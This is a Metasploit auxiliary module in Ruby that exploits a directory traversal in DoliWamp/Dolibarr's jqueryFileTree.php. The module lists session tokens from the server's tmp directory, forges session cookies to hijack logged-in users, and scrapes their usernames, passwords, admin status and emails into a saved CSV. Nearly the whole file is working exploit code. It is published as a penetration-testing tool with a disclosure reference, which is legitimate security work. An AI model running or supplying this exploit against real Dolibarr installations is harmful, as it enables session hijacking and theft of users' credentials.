metasploit-framework/modules/auxiliary/gather/doliwamp_traversal_creds.rb

203 lines
6.7 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
'Description' => %q{
This module will extract user credentials from DoliWamp - a WAMP
packaged installer distribution for Dolibarr ERP on Windows - versions
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
tokens in filenames in the 'tmp' directory. A directory traversal
vulnerability in 'jqueryFileTree.php' allows unauthenticated users
to retrieve session tokens by listing the contents of this directory.
Note: All tokens expire after 30 minutes of inactivity by default.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
],
'DisclosureDate' => 'Jan 12 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
], self.class)
end
#
# Find session tokens
#
def get_session_tokens
tokens = nil
print_status("#{peer} - Finding session tokens...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
'cookie' => @cookie,
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 404
print_error("#{peer} - Could not find 'jqueryFileTree.php'")
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
print_good("#{peer} - Found #{num_tokens} session tokens")
else
print_error("#{peer} - Could not find any session tokens")
end
return tokens
end
#
# Get user's credentials
#
def get_user_info(user_id)
vprint_status("#{peer} - Retrieving user's credentials")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie,
'vars_get' => Hash[{
'action' => 'edit',
'id' => "#{user_id}"
}.to_a.shuffle]
})
if !res
print_error("#{peer} - Connection failed")
elsif res.body =~ /User card/
record = [
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
]
unless record.empty?
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})")
return record
end
else
print_warning("#{peer} - Could not retrieve user credentials")
end
end
#
# Verify if session cookie is valid and return user's ID
#
def get_user_id
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie
})
if !res
print_error("#{peer} - Connection failed")
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
user_id = "#{$1}"
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'")
return user_id
else
vprint_status("#{peer} - Could not hijack session. Session is invalid.")
end
end
#
# Construct cookie using token
#
def create_cookie(token)
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
return "DOLSESSID_#{$1}=#{token}"
else
print_warning("#{peer} - Could not create session cookie")
end
end
#
# Show progress percentage
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
#
def progress(current, total)
done = (current.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
vprint_status("#{peer} - Trying to hijack a session - " +
"%7s done (%d/%d tokens)" % [percent, current, total])
end
#
# Check for session tokens in 'tmp'
#
def check
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def run
return unless tokens = get_session_tokens
credentials = []
print_status("#{peer} - Trying to hijack a session...")
tokens.flatten.each_with_index do |token, index|
if @cookie = create_cookie(token) and user_id = get_user_id
credentials << get_user_info(user_id)
end
progress(index + 1, tokens.size)
end
if credentials.empty?
print_warning("#{peer} - No credentials collected.")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Dolibarr User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
)
credentials.each do |record|
report_auth_info({
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => record[0],
:pass => record[1],
:source_type => 'vuln'
})
cred_table << [record[0], record[1], record[2], record[3]]
end
print_line
print_line("#{cred_table}")
loot_name = 'dolibarr.traversal.user.credentials'
loot_type = 'text/csv'
loot_filename = 'dolibarr_user_creds.csv'
loot_desc = 'Dolibarr User Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status("Credentials saved in: #{p}")
end
end